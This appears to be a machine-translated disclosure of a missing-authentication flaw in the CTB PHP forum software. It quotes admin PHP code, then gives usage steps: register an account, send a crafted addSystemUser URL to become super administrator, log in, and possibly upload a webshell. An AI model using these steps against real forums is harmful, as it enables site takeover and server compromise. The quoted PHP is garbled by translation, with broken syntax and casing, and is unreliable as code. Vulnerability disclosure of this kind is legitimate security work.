Pretty but insecure CTB

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Involved versions:
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All current versions (1.3Alpha is now the highest version)

Description:
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CTB is an open source code PHP Forum developed and maintained by <11cn.org>. Due to defects in the background management file verification, illegal users may directly add Forum Super administrators to threaten the security of forums or servers.

Details:
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CTB's writing is very standard, code is orderly, pleasing to the eye, and indeed a beautiful program; especially its functional modules, it really let the younger brother learn. But security is worrying:

Compile the following code:

/Admin/main. php
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// Get variable
If (is_array ($ _ GET )){
Foreach ($ _ GET as $ k => $ v ){
If (is_array ($ _ GET [$ k]) {
Foreach ($ _ GET [$ k] as $ k2 => $ v2 ){
$ Return [$ k] [$ k2] = $ v2;
}
} Else {
$ Return [$ k] = $ v;
}
}
}
...
$ Mod = isset ($ _ GET ['mod'])? $ _ GET ['mod']: $ _ POST ['mod'];
If (! File_exists ($ mod. ". php "{
$ Mod = "mainright ";
}
Require_once ($ mod. ". php ";
//-----------------------------------------------------------------------------

// Initialize class variables
$ Ctb = new Module;
$ Ctb-> set = $ set;
$ Ctb-> tplPath = "./templates ";
$ Ctb-> input = $ return;
$ Ctb-> sess = isset ($ _ COOKIE ["sess_adminname"])? $ _ COOKIE: $ _ SESSION;
$ Ctb-> execute ();
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There is no verification here. let's take a look at the file for adding an administrator:

/Admin/systemuser. php
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Class Module extends CommonClass
// System Management module subclass
{
Function execute (){
Switch ($ this-> input ['action']) {
...
Case 'addsystemuser ':
$ This-> addSystemUser ();
Break;
...
}
}

Function addSystemUser ()
{
// Simple format of input data
$ This-> inputCheck ("main. php? Mod = systemuser & action = showSystemUser ";
// Perform the ADD operation
$ This-> file = ".../". $ this-> set [dataPath]. "/users/list. php ";
$ SystemLine = $ this-> select (4, $ this-> input ['systemusername']);
....
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Still not verified, all the way!

Usage:
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Register a user first:

Login ID: cat
User Name: dog
Password: ilikecat
Repeated password: ilikecat
Mailbox: cat@dog.com

Then, submit the following URL:

Http://www.target.com/ctb/admin/main.php? Mod = systemuser & systemUserName = dog & systemUserMode = 1 & action = addSystemUser

Haha, you are a super administrator now. don't believe it? Submit the following URL for background login:

Http://www.psych.com/ctb/admin/main.php? Mod = login

Management name: cat
Manage password: ilikecat

Success... it's a success!

Do you want to change the background upload file type and then upload webshell? Hum, I guess so...

Postscript: In addition, I found that the CTB code comments were a bit eye-catching and incorrect. I hope it can be corrected together.